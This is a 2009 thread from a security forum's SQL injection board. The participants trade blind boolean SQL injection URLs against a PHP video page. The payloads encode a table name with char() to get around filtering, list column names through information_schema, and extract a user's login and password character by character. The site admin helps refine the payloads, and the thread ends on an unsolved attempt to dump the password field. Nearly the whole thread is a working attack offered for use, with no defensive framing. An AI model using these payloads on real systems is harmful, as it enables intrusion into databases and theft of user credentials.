|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
SQL columns imprtant plz |
|
Posted: Wed Jul 08, 2009 9:37 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 0,1),1,1))>100
http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 0,1),2,1))>1
............3.......4.....5..........etc
information_schema
who can i get all others columns ?? |
|
|
|
|
|
|
|
|
Posted: Wed Jul 08, 2009 10:15 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 1,1),2,1))>1
http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 2,1),2,1))>1 |
|
|
|
|
|
|
|
|
Posted: Thu Jul 09, 2009 10:02 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
waraxe wrote: | http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 1,1),2,1))>1
http://www.site.com/AfficheVideo.php?video=8 and ascii(substring((SELECT column_name from information_schema.columns where table_name=char(117,116,105,108,105,115,97,116,101,117,114,115) limit 2,1),2,1))>1 |
thanks waraxe it work
when i try this
Code: | 8 and ascii(substring((SELECT login_user from utilisateurs where id_user=1 limit 0,1),1,1))>100
|
i can get it ( login_user )
bat when i try this
Code: |
8 and ascii(substring((SELECT password_user from utilisateurs where id_user=1 limit 0,1),1,1))>100 |
white page :s
so ? |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|